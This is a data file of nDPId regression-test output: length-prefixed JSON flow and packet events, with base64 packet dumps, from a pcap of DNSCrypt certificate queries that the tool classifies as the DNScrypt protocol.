+00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":158,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":946739305348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":45722,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":348955,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcCgAgAL0Rk+4KAAABlTjkLbKaAbsGBGxVf0QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":158,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":946739305348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":45722,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":159,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":348966,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQCgAAub0RuMEKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":159,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":160,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":946739305348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35495,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":69,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":348987,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcCgEgAL0Rk+0KAAABlTjkLYqnAbsGBJRGf0YBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":160,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":1,"flow_first_seen":946739305348,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35495,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":161,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":348993,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQCgEAub0RuMAKAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":161,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":162,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":946739305349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":33565,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":70,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":349002,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcCgJAAL0Rd6wKAAABlTjkLYMdAbsCCDw8f0UBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":162,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":1,"flow_first_seen":946739305349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":33565,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":163,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":946739305349,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35228,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":71,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":349019,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcCgMgAL0Rk+sKAAABlTjkLYmcAbsGBJVVf0IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":163,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":946739305349,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":35228,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":164,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":349026,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQCgMAub0RuL4KAAABlTjkLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":164,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00475{"flow_id":61,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":349030,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHIUUAADsRmCqVcHAKCgAAASD7w3MAM2v+bACAAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":166,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":946739305349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":60301,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":349060,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcCgRAAL0Rd6oKAAABlTjkLeuNAbsCCDw8f0MBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":166,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":946739305349,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":60301,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00476{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":350183,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHTCRAADsRLUuVcHAKCgAAASD7pkoAM4koa\/+AAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} +00476{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":351475,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHTCNAADsRLUyVcHAKCgAAASD72tYAM1Sga\/uAAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} +00476{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":354664,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHIUgAADsRmCeVcHAKCgAAASD72LoAM1a7a\/yAAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} +00476{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":384222,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABH12NAADsRoguVcHAKCgAAASD74HkAM076a\/6AAAABAAAAAAAAATINZG5zY3J5cHQtY2VydAVxdWFkOQNuZXQAABAAAQ=="} +00669{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":453738,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUC5oAADQRQF2VOOQtCgAAAQG7lfQAwC\/rf0eBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAHADAAQAAEAAAAAAH18RE5TQwACAAAFGFEAAwsZ+sBWpvUVROInn0h1y0+FE\/VHdPKdwGWI15rFeV84ZdSkid7VtVlPn9SchFzfn3Pj66PFpyoNS6YMir6PRfcrBtc8JsfsQb\/FwAoHgENy0Ke+Bxb4NU7gNSOLvo9F9ysG119TYaFfU2GhX1SzIQ=="} 